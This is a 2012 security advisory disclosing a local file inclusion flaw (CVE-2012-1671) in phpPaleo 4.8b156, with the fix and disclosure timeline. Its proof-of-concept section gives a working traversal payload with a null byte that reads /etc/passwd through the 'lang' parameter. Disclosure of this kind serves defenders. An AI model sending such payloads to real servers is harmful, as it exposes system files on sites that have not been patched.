phpPaleo 4.8b156 Local File Inclusion

`'phpPaleo' Local File Inclusion (CVE-2012-1671)  
Mark Stanislav - [email protected]  
  
  
I. DESCRIPTION  
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A vulnerability exists in index.php for language handling that allows for local file inclusion using a null-byte attack on the 'lang' GET parameter.  
  
  
II. TESTED VERSION  
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4.8b156  
  
  
III. PoC EXPLOIT  
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http://localhost/phppaleo/index.php?lang=../../../../../../../etc/passwd%00  
  
  
IV. NOTES   
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* magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work  
  
  
V. SOLUTION  
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Upgrade to 4.8b157 or above.  
  
  
VI. REFERENCES  
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http://sourceforge.net/projects/phppaleo/  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1671  
  
  
VII. TIMELINE  
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03/01/2012 - Initial vendor disclosure  
03/02/2012 - Vendor patched and released an updated version  
04/04/2012 - Public disclosure  
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